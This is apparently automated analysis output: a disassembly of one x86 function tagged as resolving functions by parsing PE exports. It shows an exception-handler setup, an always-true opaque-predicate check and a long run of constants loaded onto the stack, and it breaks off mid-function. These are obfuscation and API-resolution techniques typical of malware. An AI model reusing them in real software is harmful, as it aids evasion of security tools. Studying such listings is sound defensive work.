Function at 0x4068c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xde0
mov esi, esp
mov dword [esi + 0xdc8], ebp
mov dword [esi + 0xdcc], esp
mov dword [esi + 0xdd8], 0xffffffff
lea eax, [esi + 0xdd0]
mov dword [esi + 0xdd4], 0x40ec30
mov ecx, dword fs:[0]
mov dword [esi + 0xdd0], ecx
mov dword fs:[0], eax
cmp dword [0x42f248], 0xa
jl 0x40c1b8
mov eax, dword [0x42f24c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x40c1b8
mov eax, 0xe130d39f
mov ecx, 0x71c13ef8
mov dword [esi + 0xda8], ecx
mov dword [esi + 0xdac], eax
mov eax, 0x1b69c0ba
mov ecx, 0x60164d9e
mov dword [esi + 0xda0], ecx
mov dword [esi + 0xda4], eax
mov eax, 0x64a91c97
mov ecx, 0xf1690342
mov dword [esi + 0xd98], ecx
mov dword [esi + 0xd9c], eax
mov eax, 0x76142764
mov ecx, 0x5b9c2f21
mov dword [esi + 0xd90], ecx
mov dword [esi + 0xd94], eax
mov eax, 0xad79004b
mov ecx, 0x2041b9be
mov dword [esi + 0xd88], ecx
mov dword [esi + 0xd8c], eax
mov eax, 0x6ec2d1b3
mov ecx, 0xf0fb9940
mov dword [esi + 0xd80], ecx
mov dword [esi + 0xd84], eax
mov eax, 0xcfc802ee
mov ecx, 0x7bb2c751
mov dword [esi + 0xd78], ecx
mov dword [esi + 0xd7c], eax
mov eax, 0x4f087716
mov ecx, 0xb2403012
mov dword [esi + 0xd70], ecx
mov dword [esi + 0xd74], eax
mov eax, 0x69362aca
mov ecx, 0x1992a338
mov dword [esi + 0xd68], ecx
mov dword [esi + 0xd6c], eax
mov eax, 0x7672330
mov ecx, 0xf8745354
mov dword [esi + 0xd60], ecx
mov dword [esi + 0xd64], eax
mov eax, 0xaa37459c
mov ecx, 0x7112aff5
mov dword [esi + 0xd58], ecx
mov dword [esi + 0xd5c], eax
mov eax, 0xd18f46ca
mov ecx, 0x7f98a056
mov dword [esi + 0xd50], ecx
mov dword [esi + 0xd54], eax
mov eax, 0x740e4f6f
mov ecx, 0x599d8ad9
mov dword [esi + 0xd48], ecx
mov dword [esi + 0xd4c], eax
mov eax, 0x9b175100
mov ecx, 0x289ddeda
mov dword [esi + 0xd40], ecx
mov dword [esi + 0xd44], eax
mov eax, 0xdfc7e572
mov ecx, 0x57ee7a89
mov dword [esi + 0xd38], ecx
mov dword [esi + 0xd3c], eax
mov eax, 0xa1b6b66f
mov ecx, 0x28962094
mov dword [esi + 0xd30], ecx
mov dword [esi + 0xd34], eax
mov eax, 0xc3417b37
mov ecx, 0x47cff8f3
mov dword [esi + 0xd28], ecx
mov dword [esi + 0xd2c], eax
mov eax, 0x7a348a29
mov ecx, 0xdb2d771a
mov dword [esi + 0xd20], ecx
mov dword [esi + 0xd24], eax
mov eax, 0xcf42abbc
mov ecx, 0x414a2d79
mov dword [esi + 0xd18], ecx
mov dword [esi + 0xd1c], eax
mov eax, 0x60a4c126
mov ecx, 0x3a293ff4
mov dword [esi + 0xd10], ecx
mov dword [esi + 0xd14], eax
mov eax, 0x8983ffa3
mov ecx, 0xd2fd1f4a
mov dword [esi + 0xd08], ecx
mov dword [esi + 0xd0c], eax
mov eax, 0xa7fc864
mov ecx, 0x181839b9
mov dword [esi + 0xd00], ecx
mov dword [esi + 0xd04], eax
mov eax, 0x20b48d30
mov ecx, 0x2934e0c6
mov dword [esi + 0xcf8], ecx
mov dword [esi + 0xcfc], eax
mov eax, 0x4c0949a9
mov ecx, 0xe3289e94
mov dword [esi + 0xcf0], ecx
mov dword [esi + 0xcf4], eax
mov eax, 0x5d208
mov ecx, 0x71efdb4d
mov dword [esi + 0xce8], ecx
mov dword [esi + 0xcec], eax
mov eax, 0x7ada8bf0
mov ecx, 0x663d825c
mov dword [esi + 0xce0], ecx
mov dword [esi + 0xce4], eax
mov eax, 0x54b4883e
mov ecx, 0xd111cfc6
mov dword [esi + 0xcd8], ecx
mov dword [esi + 0xcdc], eax
mov eax, 0xcb7505ee
mov ecx, 0xaa6c0f78
mov dword [esi + 0xcd0], ecx
mov dword [esi + 0xcd4], eax
mov eax, 0x478ecb0
mov ecx, 0xd84e8430
mov dword [esi + 0xcc8], ecx
mov dword [esi + 0xccc], eax
mov eax, 0xd4b7c24d
mov ecx, 0xdc6c63af
mov dword [esi + 0xcc0], ecx
mov dword [esi + 0xcc4], eax
mov eax, 0xb58ad8de
mov ecx, 0x716d7417
mov dword [esi + 0xcb8], ecx
mov dword [esi + 0xcbc], eax
mov eax, 0xa61a85ca
mov ecx, 0x46a1487b
mov dword [esi + 0xcb0], ecx
mov dword [esi + 0xcb4], eax
mov eax, 0xbd9176ac
mov ecx, 0x96b9fd80
mov dword [esi + 0xca8], ecx
mov dword [esi + 0xcac], eax
mov eax, 0x62be8e5f
mov ecx, 0x42c7912d
mov dword [esi + 0xca0], ecx
mov dword [esi + 0xca4], eax
mov eax, 0xe15ef889
mov ecx, 0x126fcb5b
mov dword [esi + 0xc98], ecx
mov dword [esi + 0xc9c], eax
mov eax, 0xcdd5ab3b
mov ecx, 0x5a56875
mov dword [esi + 0xc90], ecx
mov dword [esi + 0xc94], eax
mov eax, 0xe022c5be
mov ecx, 0x9659b74e
mov dword [esi + 0xc88], ecx
mov dword [esi + 0xc8c], eax
mov eax, 0x96609c74
mov ecx, 0x40fd64a8
mov dword [esi + 0xc80], ecx
mov dword [esi + 0xc84], eax
mov eax, 0x2a893f34
mov ecx, 0xf601fd52
mov dword [esi + 0xc78], ecx
mov dword [esi + 0xc7c], eax
mov eax, 0x2f79d150
mov ecx, 0xd6685046
mov dword [esi + 0xc70], ecx
mov dword [esi + 0xc74], eax
mov eax, 0xd579aa59
mov ecx, 0x81623af5
mov dword [esi + 0xc68], ecx
mov dword [esi + 0xc6c], eax
mov eax, 0xaeccb109
mov ecx, 0x7bb05244
mov dword [esi + 0xc60], ecx
mov dword [esi + 0xc64], eax
mov eax, 0x8ebf6c9c
mov ecx, 0xaec1a96a
mov dword [esi + 0xc58], ecx
mov dword [esi + 0xc5c], eax
mov eax, 0xb9f9df50
mov ecx, 0xcf9b91f6
mov dword [esi + 0xc50], ecx
mov dword [esi + 0xc54], eax
mov eax, 0x14fb35eb
mov ecx, 0xe4274dea
mov dword [esi + 0xc48], ecx
mov dword [esi + 0xc4c], eax
mov eax, 0x32bf7716
mov ecx, 0xb92c3d07
mov dword [esi + 0xc40], ecx
mov dword [esi + 0xc44], eax
mov eax, 0x193f2fec
mov ecx, 0xa1b5b0d7
mov dword [esi + 0xc38], ecx
mov dword [esi + 0xc3c], eax
mov eax, 0xf228eec9
mov ecx, 0x96ac4828
mov dword [esi + 0xc30], ecx
mov dword [esi + 0xc34], eax
mov eax, 0x67da54f1
mov ecx, 0xf9e46bc0
mov dword [esi + 0xc28], ecx
mov dword [esi + 0xc2c], eax
mov eax, 0x182effaf
mov ecx, 0xe6c8057f
mov dword [esi + 0xc20], ecx
mov dword [esi + 0xc24], eax
mov eax, 0x47b19d36
mov ecx, 0x6c061bf
mov dword [esi + 0xc18], ecx
mov dword [esi + 0xc1c], eax
mov eax, 0x6a64ab9c
mov ecx, 0x5629682d
mov dword [esi + 0xc10], ecx
mov dword [esi + 0xc14], eax
mov eax, 0x91c17ddc
mov ecx, 0x5eae1cbb
mov dword [esi + 0xc08], ecx
mov dword [esi + 0xc0c], eax
mov eax, 0xa07703f6
mov ecx, 0x72f0d5c3
mov dword [esi + 0xc00], ecx
mov dword [esi + 0xc04], eax
mov eax, 0x980cea91
mov ecx, 0x1c207f9e
mov dword [esi + 0xbf8], ecx
mov dword [esi + 0xbfc], eax
mov eax, 0x545caa1d
mov ecx, 0x47b411c3
mov dword [esi + 0xbf0], ecx
mov dword [esi + 0xbf4], eax
mov eax, 0x396dae82
mov ecx, 0x11865bfa
mov dword [esi + 0xbe8], ecx
mov dword [esi + 0xbec], eax
mov eax, 0x30b0a00e
mov ecx, 0x81ac114f
mov dword [esi + 0xbe0], ecx
mov dword [esi + 0xbe4], eax
mov eax, 0x12463f6d
mov ecx, 0x11d6174f
mov dword [esi + 0xbd8], ecx
mov dword [esi + 0xbdc], eax
mov eax, 0xd4e18a0f
mov ecx, 0x27be1c99
mov dword [esi + 0xbd0], ecx
mov dword [esi + 0xbd4], eax
mov eax, 0x6c6c4ffc
mov ecx, 0xae2549f3
mov dword [esi + 0xbc8], ecx
mov dword [esi + 0xbcc], eax
mov eax, 0x6b95cf82
mov ecx, 0x758f0432
mov dword [esi + 0xbc0], ecx
mov dword [esi + 0xbc4], eax
mov eax, 0xd93f3c22
mov ecx, 0xec48fb4
mov dword [esi + 0xbb8], ecx
mov dword [esi + 0xbbc], eax
mov eax, 0x76a7d96c
mov ecx, 0xedd89f48
mov dword [esi + 0xbb0], ecx
mov dword [esi + 0xbb4], eax
mov eax, 0xe97de5f9
mov ecx, 0x92827bc8
mov dword [esi + 0xba8], ecx
mov dword [esi + 0xbac], eax
mov eax, 0x86bdf39a
mov ecx, 0x3d265b90
mov dword [esi + 0xba0], ecx
mov dword [esi + 0xba4], eax
mov eax, 0x3d0abb6b
mov ecx, 0xe7d4945
mov dword [esi + 0xb98], ecx
mov dword [esi + 0xb9c], eax
mov eax, 0x512c0c1
mov ecx, 0xed894443
mov dword [esi + 0xb90], ecx
mov dword [esi + 0xb94], eax
mov eax, 0xd834e740
mov ecx, 0x33f0d22f
mov dword [esi + 0xb88], ecx
mov dword [esi + 0xb8c], eax
mov eax, 0xb15186d4
mov ecx, 0xf42128b0
mov dword [esi + 0xb80], ecx
mov dword [esi + 0xb84], eax
mov eax, 0xe6b333b4
mov ecx, 0xccd9c2d0
mov dword [esi + 0xb78], ecx
mov dword [esi + 0xb7c], eax
mov eax, 0x3eeda741
mov ecx, 0x50212d1b
mov dword [esi + 0xb70], ecx
mov dword [esi + 0xb74], eax
mov eax, 0x292fa55e
mov ecx, 0x93212fa3
mov dword [esi + 0xb68], ecx
mov dword [esi + 0xb6c], eax
mov eax, 0x8a7acc26
mov ecx, 0x30b6431
mov dword [esi + 0xb60], ecx
mov dword [esi + 0xb64], eax
mov eax, 0xa6756487
mov ecx, 0x9296eb7c
mov dword [esi + 0xb58], ecx
mov dword [esi + 0xb5c], eax
mov eax, 0x25ed9479
mov ecx, 0x99dede22
mov dword [esi + 0xb50], ecx
mov dword [esi + 0xb54], eax
mov eax, 0x7f3ce481
mov ecx, 0x76e1af33
mov dword [esi + 0xb48], ecx
mov dword [esi + 0xb4c], eax
mov eax, 0xcb00ce49
mov ecx, 0x7b82c378
mov dword [esi + 0xb40], ecx
mov dword [esi + 0xb44], eax
mov eax, 0xdacb2db1
mov ecx, 0x9d822ef5
mov dword [esi + 0xb38], ecx
mov dword [esi + 0xb3c], eax
mov eax, 0xace50fc1
mov ecx, 0xf31a5db3
mov dword [esi + 0xb30], ecx
mov dword [esi + 0xb34], eax
mov eax, 0x9ff809e6
mov ecx, 0x6f83d607
mov dword [esi + 0xb28], ecx
mov dword [esi + 0xb2c], eax
mov eax, 0x2a6f1fc2
mov ecx, 0x1ba06a4a
mov dword [esi + 0xb20], ecx
mov dword [esi + 0xb24], eax
mov eax, 0x3826d5c4
mov ecx, 0x8714ad0f
mov dword [esi + 0xb18], ecx
mov dword [esi + 0xb1c], eax
mov eax, 0xf935bc6
mov ecx, 0xa4269339
mov dword [esi + 0xb10], ecx
mov dword [esi + 0xb14], eax
mov eax, 0x64a4253
mov ecx, 0x59535542
mov dword [esi + 0xb08], ecx
mov dword [esi + 0xb0c], eax
mov eax, 0x3f8b6634
mov ecx, 0xbc998e0c
mov dword [esi + 0xb00], ecx
mov dword [esi + 0xb04], eax
mov eax, 0x506ea7de
mov ecx, 0x800bd41e
mov dword [esi + 0xaf8], ecx
mov dword [esi + 0xafc], eax
mov eax, 0x9eeb46d0
mov ecx, 0x29f0ab4
mov dword [esi + 0xaf0], ecx
mov dword [esi + 0xaf4], eax
mov eax, 0x262364aa
mov ecx, 0xf6319dc3
mov dword [esi + 0xae8], ecx
mov dword [esi + 0xaec], eax
mov eax, 0x2e6482ab
mov ecx, 0xe05dbf5c
mov dword [esi + 0xae0], ecx
mov dword [esi + 0xae4], eax
mov eax, 0x5c7835b2
mov ecx, 0x23d70c2c
mov dword [esi + 0xad8], ecx
mov dword [esi + 0xadc], eax
mov eax, 0xd214afae
mov ecx, 0xfcec4bb1
mov dword [esi + 0xad0], ecx
mov dword [esi + 0xad4], eax
mov eax, 0xbd796a5
mov ecx, 0x2a13c17c
mov dword [esi + 0xac8], ecx
mov dword [esi + 0xacc], eax
mov eax, 0xdc756c1b
mov ecx, 0x2e01a02b
mov dword [esi + 0xac0], ecx
mov dword [esi + 0xac4], eax
mov eax, 0xbd2682a6
mov ecx, 0xc3feb178
mov dword [esi + 0xab8], ecx
mov dword [esi + 0xabc], eax
mov eax, 0x6a0b303e
mov ecx, 0xdeadd523
mov dword [esi + 0xab0], ecx
mov dword [esi + 0xab4], eax
mov eax, 0x3a943e58
mov ecx, 0xe80b524d
mov dword [esi + 0xaa8], ecx
mov dword [esi + 0xaac], eax
mov eax, 0x391a38c8
mov ecx, 0xc5499966
mov dword [esi + 0xaa0], ecx
mov dword [esi + 0xaa4], eax
mov eax, 0x5b743b4d
mov ecx, 0xf29df8ad
mov dword [esi + 0xa98], ecx
mov dword [esi + 0xa9c], eax
mov eax, 0x5df4b921
mov ecx, 0x9072f313
mov dword [esi + 0xa90], ecx
mov dword [esi + 0xa94], eax
mov eax, 0x40ed0790
mov ecx, 0x3d9e93d7
mov dword [esi + 0xa88], ecx
mov dword [esi + 0xa8c], eax
mov eax, 0xd0c686d9
mov ecx, 0x17ffe622
mov dword [esi + 0xa80], ecx
mov dword [esi + 0xa84], eax
mov eax, 0x68339d59
mov ecx, 0x2285d379
mov dword [esi + 0xa78], ecx
mov dword [esi + 0xa7c], eax
mov eax, 0x66f428a7
mov ecx, 0x2b268e5d
mov dword [esi + 0xa70], ecx
mov dword [esi + 0xa74], eax
mov eax, 0x30e8b422
mov ecx, 0x8464fe4c
mov dword [esi + 0xa68], ecx
mov dword [esi + 0xa6c], eax
mov eax, 0xf17d0920
mov ecx, 0xfee5cf19
mov dword [esi + 0xa60], ecx
mov dword [esi + 0xa64], eax
mov eax, 0x7cfbcd65
mov ecx, 0x850d1957
mov dword [esi + 0xa58], ecx
mov dword [esi + 0xa5c], eax
mov eax, 0x2a3bfdaa
mov ecx, 0x2a614574
mov dword [esi + 0xa50], ecx
mov dword [esi + 0xa54], eax
mov eax, 0x9751f6a
mov ecx, 0x37c78e2e
mov dword [esi + 0xa48], ecx
mov dword [esi + 0xa4c], eax
mov eax, 0x3e6b6943
mov ecx, 0x6124759b
mov dword [esi + 0xa40], ecx
mov dword [esi + 0xa44], eax
mov eax, 0xf3df8c27
mov ecx, 0xbee703a
mov dword [esi + 0xa38], ecx
mov dword [esi + 0xa3c], eax
mov eax, 0xca5ff01b
mov ecx, 0x99d853f
mov dword [esi + 0xa30], ecx
mov dword [esi + 0xa34], eax
mov eax, 0x4a5fab9
mov ecx, 0x9f69fe57
mov dword [esi + 0xa28], ecx
mov dword [esi + 0xa2c], eax
mov eax, 0xe0523480
mov ecx, 0x67d52b30
mov dword [esi + 0xa20], ecx
mov dword [esi + 0xa24], eax
mov eax, 0x1c7f14e6
mov ecx, 0x30b1cdf5
mov dword [esi + 0xa18], ecx
mov dword [esi + 0xa1c], eax
mov eax, 0xe0c30ea7
mov ecx, 0x68cf70dc
mov dword [esi + 0xa10], ecx
mov dword [esi + 0xa14], eax
mov eax, 0xec472fa2
mov ecx, 0xb00fb167
mov dword [esi + 0xa08], ecx
mov dword [esi + 0xa0c], eax
mov eax, 0xa3f5adec
mov ecx, 0xc4b8f3d0
mov dword [esi + 0xa00], ecx
mov dword [esi + 0xa04], eax
mov eax, 0xccfe76a0
mov ecx, 0x61ff2c0
mov dword [esi + 0x9f8], ecx
mov dword [esi + 0x9fc], eax
mov eax, 0x7ca450ce
mov ecx, 0x5a849b98
mov dword [esi + 0x9f0], ecx
mov dword [esi + 0x9f4], eax
mov eax, 0x5403ba4f
mov ecx, 0x450f79f9
mov dword [esi + 0x9e8], ecx
mov dword [esi + 0x9ec], eax
mov eax, 0x6f63ad09
mov ecx, 0xe7fa4e87
mov dword [esi + 0x9e0], ecx
mov dword [esi + 0x9e4], eax
mov eax, 0xb004c4f5
mov ecx, 0xe61aac0d
mov dword [esi + 0x9d8], ecx
mov dword [esi + 0x9dc], eax
mov eax, 0x332f40ba
mov ecx, 0x7a0b59bf
mov dword [esi + 0x9d0], ecx
mov dword [esi + 0x9d4], eax
mov eax, 0x92540cc9
mov ecx, 0x291559fe
mov dword [esi + 0x9c8], ecx
mov dword [esi + 0x9cc], eax
mov eax, 0x1ed2a91c
mov ecx, 0xf5ba78c9
mov dword [esi + 0x9c0], ecx
mov dword [esi + 0x9c4], eax
mov eax, 0x1405d945
mov ecx, 0x39e3a6c9
mov dword [esi + 0x9b8], ecx
mov dword [esi + 0x9bc], eax
mov eax, 0x7ddb49d7
mov ecx, 0xbab4dcd4
mov dword [esi + 0x9b0], ecx
mov dword [esi + 0x9b4], eax
mov eax, 0xf8d7042
mov ecx, 0x32006b79
mov dword [esi + 0x9a8], ecx
mov dword [esi + 0x9ac], eax
mov eax, 0x550e6d0a
mov ecx, 0x8aeecec6
mov dword [esi + 0x9a0], ecx
mov dword [esi + 0x9a4], eax
mov eax, 0xbba5f8cd
mov ecx, 0x6ffe0003
mov dword [esi + 0x998], ecx
mov dword [esi + 0x99c], eax
mov eax, 0xf361e246
mov ecx, 0x284dea2c
mov dword [esi + 0x990], ecx
mov dword [esi + 0x994], eax
mov eax, 0xdfcb8167
mov ecx, 0xc5c20f54
mov dword [esi + 0x988], ecx
mov dword [esi + 0x98c], eax
mov eax, 0xe01f63fc
mov ecx, 0xb990362d
mov dword [esi + 0x980], ecx
mov dword [esi + 0x984], eax
mov eax, 0xbd1e4dec
mov ecx, 0x76b918d3
mov dword [esi + 0x978], ecx
mov dword [esi + 0x97c], eax
mov eax, 0x45fc7146
mov ecx, 0xcefd3c44
mov dword [esi + 0x970], ecx
mov dword [esi + 0x974], eax
mov eax, 0xcf0f6b62
mov ecx, 0xeabae975
mov dword [esi + 0x968], ecx
mov dword [esi + 0x96c], eax
mov eax, 0x6e982e14
mov ecx, 0x54af2ae2
mov dword [esi + 0x960], ecx
mov dword [esi + 0x964], eax
mov eax, 0xd8b08aee
mov ecx, 0xbae67f1f
mov dword [esi + 0x958], ecx
mov dword [esi + 0x95c], eax
mov eax, 0xd2fca362
mov ecx, 0x8fc07e24
mov dword [esi + 0x950], ecx
mov dword [esi + 0x954], eax
mov eax, 0xf5adf60f
mov ecx, 0xa506c224
mov dword [esi + 0x948], ecx
mov dword [esi + 0x94c], eax
mov eax, 0xa4aa17a4
mov ecx, 0xce199ad1
mov dword [esi + 0x940], ecx
mov dword [esi + 0x944], eax
mov eax, 0x540f6321
mov ecx, 0xf07d3de0
mov dword [esi + 0x938], ecx
mov dword [esi + 0x93c], eax
mov eax, 0xb32546bd
mov ecx, 0x45a69a9f
mov dword [esi + 0x930], ecx
mov dword [esi + 0x934], eax
mov eax, 0xe1bf3b63
mov ecx, 0x40a13ef8
mov dword [esi + 0x14], ecx
mov dword [esi + 0xc], eax
mov eax, 0x7f8c4968
mov ecx, 0xeb261f15
mov dword [esi + 0x18], ecx
mov dword [esi + 0x10], eax
mov eax, 0x362210c5
mov ecx, 0xbbde0c56
mov dword [esi + 0x30], ecx
mov dword [esi + 0x34], eax
mov eax, 0xfdeb1642
mov ecx, 0x9bad0753
mov dword [esi + 0x28], ecx
mov dword [esi + 0x2c], eax
mov eax, 0xd1183ce7
mov ecx, 0xe16195bc
mov dword [esi + 0x928], ecx
mov dword [esi + 0x92c], eax
mov eax, 0xa9c3dc7c
mov ecx, 0xa214ec09
mov dword [esi + 0x920], ecx
mov dword [esi + 0x924], eax
mov eax, 0xdf9a89b9
mov ecx, 0x7a8e85da
mov dword [esi + 0x918], ecx
mov dword [esi + 0x91c], eax
mov eax, 0x3748fcc6
mov ecx, 0xfe34f097
mov dword [esi + 0x910], ecx
mov dword [esi + 0x914], eax
mov eax, 0x21bdfacb
mov ecx, 0x4119f320
mov dword [esi + 0x908], ecx
mov dword [esi + 0x90c], eax
mov eax, 0x82b42210
mov ecx, 0xb148279d
mov dword [esi + 0x900], ecx
mov dword [esi + 0x904], eax
mov eax, 0x9ebcbaad
mov ecx, 0x40c4ae7e
mov dword [esi + 0x8f8], ecx
mov dword [esi + 0x8fc], eax
mov eax, 0x1e4eea0a
mov ecx, 0x475fa15b
mov dword [esi + 0x8f0], ecx
mov dword [esi + 0x8f4], eax
mov eax, 0x77fa3a8f
mov ecx, 0x24a672a4
mov dword [esi + 0x8e8], ecx
mov dword [esi + 0x8ec], eax
mov eax, 0xc3f72424
mov ecx, 0x29b98651
mov dword [esi + 0x8e0], ecx
mov dword [esi + 0x8e4], eax
mov eax, 0xd34c83a1
mov ecx, 0x4bb6f1c2
mov dword [esi + 0x8d8], ecx
mov dword [esi + 0x8dc], eax
mov eax, 0xa53d656e
mov ecx, 0xa146211f
mov dword [esi + 0x8d0], ecx
mov dword [esi + 0x8d4], eax
mov eax, 0x98655f73
mov ecx, 0x1d9699a8
mov dword [esi + 0x8c8], ecx
mov dword [esi + 0x8cc], eax
mov eax, 0x22d47578
mov ecx, 0xc9a62d45
mov dword [esi + 0x8c0], ecx
mov dword [esi + 0x8c4], eax
mov eax, 0x30bd2b55
mov ecx, 0x35227086
mov dword [esi + 0x8b8], ecx
mov dword [esi + 0x8bc], eax
mov eax, 0x8a4b152
mov ecx, 0x52475683
mov dword [esi + 0x8b0], ecx
mov dword [esi + 0x8b4], eax
mov eax, 0xfecf97f7
mov ecx, 0x702186c
mov dword [esi + 0x8a8], ecx
mov dword [esi + 0x8ac], eax
mov eax, 0x384cbc0c
mov ecx, 0x6a7b51b9
mov dword [esi + 0x8a0], ecx
mov dword [esi + 0x8a4], eax
mov eax, 0x48e0fd49
mov ecx, 0x2e12978a
mov dword [esi + 0x898], ecx
mov dword [esi + 0x89c], eax
mov eax, 0x97389c56
mov ecx, 0xb07bcdc7
mov dword [esi + 0x890], ecx
mov dword [esi + 0x894], eax
mov eax, 0x1f01ba5b
mov ecx, 0xa41060d0
mov dword [esi + 0x888], ecx
mov dword [esi + 0x88c], eax
mov eax, 0x26b2d8a0
mov ecx, 0x8e3d824d
mov dword [esi + 0x880], ecx
mov dword [esi + 0x884], eax
mov eax, 0x54b48bbd
mov ecx, 0xd165cfae
mov dword [esi + 0x878], ecx
mov dword [esi + 0x87c], eax
mov eax, 0xcb05059a
mov ecx, 0xaa560f0b
mov dword [esi + 0x870], ecx
mov dword [esi + 0x874], eax
mov eax, 0x457ec9f
mov ecx, 0xd82a8454
mov dword [esi + 0x868], ecx
mov dword [esi + 0x86c], eax
mov eax, 0xd4c4c234
mov ecx, 0xdc006381
mov dword [esi + 0x860], ecx
mov dword [esi + 0x864], eax
mov eax, 0xb5fcd8b1
mov ecx, 0x71577472
mov dword [esi + 0x858], ecx
mov dword [esi + 0x85c], eax
mov eax, 0xa62e85fe
mov ecx, 0x4695484f
mov dword [esi + 0x850], ecx
mov dword [esi + 0x854], eax
mov eax, 0xbdfc7683
mov ecx, 0x96dafdd8
mov dword [esi + 0x848], ecx
mov dword [esi + 0x84c], eax
mov eax, 0x62ef8e08
mov ecx, 0x42ea9175
mov dword [esi + 0x840], ecx
mov dword [esi + 0x844], eax
mov eax, 0xe10af8e5
mov ecx, 0x1217cb36
mov dword [esi + 0x838], ecx
mov dword [esi + 0x83c], eax
mov eax, 0xcd8aab62
mov ecx, 0x5cb6833
mov dword [esi + 0x830], ecx
mov dword [esi + 0x834], eax
mov eax, 0xe072c587
mov ecx, 0x9631b71c
mov dword [esi + 0x828], ecx
mov dword [esi + 0x82c], eax
mov eax, 0x96589c1c
mov ecx, 0x40cb64e9
mov dword [esi + 0x820], ecx
mov dword [esi + 0x824], eax
mov eax, 0x2ac03f59
mov ecx, 0xf678fd3a
mov dword [esi + 0x818], ecx
mov dword [esi + 0x81c], eax
mov eax, 0x2f4dd166
mov ecx, 0xd61c5077
mov dword [esi + 0x810], ecx
mov dword [esi + 0x814], eax
mov eax, 0xd511aa6b
mov ecx, 0x81533a80
mov dword [esi + 0x808], ecx
mov dword [esi + 0x80c], eax
mov eax, 0xae96b130
mov ecx, 0x7bea527d
mov dword [esi + 0x800], ecx
mov dword [esi + 0x804], eax
mov eax, 0x8ecc6ccd
mov ecx, 0xaea8a95e
mov dword [esi + 0x7f8], ecx
mov dword [esi + 0x7fc], eax
mov eax, 0xb9cbdf2a
mov ecx, 0xcff691bb
mov dword [esi + 0x7f0], ecx
mov dword [esi + 0x7f4], eax
mov eax, 0x14a835af
mov ecx, 0xe46f4d84
mov dword [esi + 0x7e8], ecx
mov dword [esi + 0x7ec], eax
mov eax, 0x32887744
mov ecx, 0xb9433d31
mov dword [esi + 0x7e0], ecx
mov dword [esi + 0x7e4], eax
mov eax, 0x195e2fc1
mov ecx, 0xa1f0b0a2
mov dword [esi + 0x7d8], ecx
mov dword [esi + 0x7dc], eax
mov eax, 0xf205ee8e
mov ecx, 0x96e4487f
mov dword [esi + 0x7d0], ecx
mov dword [esi + 0x7d4], eax
mov eax, 0x679c5493
mov ecx, 0xf9d16b88
mov dword [esi + 0x7c8], ecx
mov dword [esi + 0x7cc], eax
mov eax, 0x1842ff98
mov ecx, 0xe6af0525
mov dword [esi + 0x7c0], ecx
mov dword [esi + 0x7c4], eax
mov eax, 0x47d29d75
mov ecx, 0x6b761e6
mov dword [esi + 0x7b8], ecx
mov dword [esi + 0x7bc], eax
mov eax, 0x6a1eabf2
mov ecx, 0x561a6863
mov dword [esi + 0x7b0], ecx
mov dword [esi + 0x7b4], eax
mov eax, 0x91ae7d97
mov ecx, 0x5e981ccc
mov dword [esi + 0x7a8], ecx
mov dword [esi + 0x7ac], eax
mov eax, 0xa04603ac
mov ecx, 0x72a1d599
mov dword [esi + 0x7a0], ecx
mov dword [esi + 0x7a4], eax
mov eax, 0x9855eae9
mov ecx, 0x1c197fea
mov dword [esi + 0x798], ecx
mov dword [esi + 0x79c], eax
mov eax, 0x5431aa76
mov ecx, 0x47d111a7
mov dword [esi + 0x790], ecx
mov dword [esi + 0x794], eax
mov eax, 0x390faefb
mov ecx, 0x11f45bb0
mov dword [esi + 0x788], ecx
mov dword [esi + 0x78c], eax
mov eax, 0x30d8a040
mov ecx, 0x81d5112d
mov dword [esi + 0x780], ecx
mov dword [esi + 0x784], eax
mov eax, 0x12113f5d
mov ecx, 0x119f170e
mov dword [esi + 0x778], ecx
mov dword [esi + 0x77c], eax
mov eax, 0xd48b8a3a
mov ecx, 0x27db1ceb
mov dword [esi + 0x770], ecx
mov dword [esi + 0x774], eax
mov eax, 0x6c204fbf
mov ecx, 0xae7049b4
mov dword [esi + 0x768], ecx
mov dword [esi + 0x76c], eax
mov eax, 0x6bf1cfd4
mov ecx, 0x75ff0461
mov dword [esi + 0x760], ecx
mov dword [esi + 0x764], eax
mov eax, 0xd94d3c51
mov ecx, 0xeb78fd2
mov dword [esi + 0x758], ecx
mov dword [esi + 0x75c], eax
mov eax, 0x76f6d91e
mov ecx, 0xed8b9f2f
mov dword [esi + 0x750], ecx
mov dword [esi + 0x754], eax
mov eax, 0xe918e5a3
mov ecx, 0x92d17bb8
mov dword [esi + 0x748], ecx
mov dword [esi + 0x74c], eax
mov eax, 0x86e5f3a8
mov ecx, 0x3d565bd5
mov dword [esi + 0x740], ecx
mov dword [esi + 0x744], eax
mov eax, 0x3d7bbb05
mov ecx, 0xe0e4916
mov dword [esi + 0x738], ecx
mov dword [esi + 0x73c], eax
mov eax, 0x544c082
mov ecx, 0xeddd4413
mov dword [esi + 0x730], ecx
mov dword [esi + 0x734], eax
mov eax, 0xd871e727
mov ecx, 0x3391d27c
mov dword [esi + 0x728], ecx
mov dword [esi + 0x72c], eax
mov eax, 0xb11d86bc
mov ecx, 0xf44528c9
mov dword [esi + 0x720], ecx
mov dword [esi + 0x724], eax
mov eax, 0xe6f433f9
mov ecx, 0xccbec29a
mov dword [esi + 0x718], ecx
mov dword [esi + 0x71c], eax
mov eax, 0x3ea2a706
mov ecx, 0x50652d57
mov dword [esi + 0x710], ecx
mov dword [esi + 0x714], eax
mov eax, 0x2917a50b
mov ecx, 0x934a2fe0
mov dword [esi + 0x708], ecx
mov dword [esi + 0x70c], eax
mov eax, 0x8a0dcc50
mov ecx, 0x378645d
mov dword [esi + 0x700], ecx
mov dword [esi + 0x704], eax
mov eax, 0xa61664ed
mov ecx, 0x92f4eb3e
mov dword [esi + 0x6f8], ecx
mov dword [esi + 0x6fc], eax
mov eax, 0x25a8944a
mov ecx, 0x998fde1b
mov dword [esi + 0x6f0], ecx
mov dword [esi + 0x6f4], eax
mov eax, 0x7f53e4cf
mov ecx, 0x76d6af64
mov dword [esi + 0x6e8], ecx
mov dword [esi + 0x6ec], eax
mov eax, 0xcb50ce64
mov ecx, 0x7be9c311
mov dword [esi + 0x6e0], ecx
mov dword [esi + 0x6e4], eax
mov eax, 0xdaa62de1
mov ecx, 0x9de72e82
mov dword [esi + 0x6d8], ecx
mov dword [esi + 0x6dc], eax
mov eax, 0xac970fae
mov ecx, 0xf3765ddf
mov dword [esi + 0x6d0], ecx
mov dword [esi + 0x6d4], eax
mov eax, 0x9fbf09b3
mov ecx, 0x6fc6d668
mov dword [esi + 0x6c8], ecx
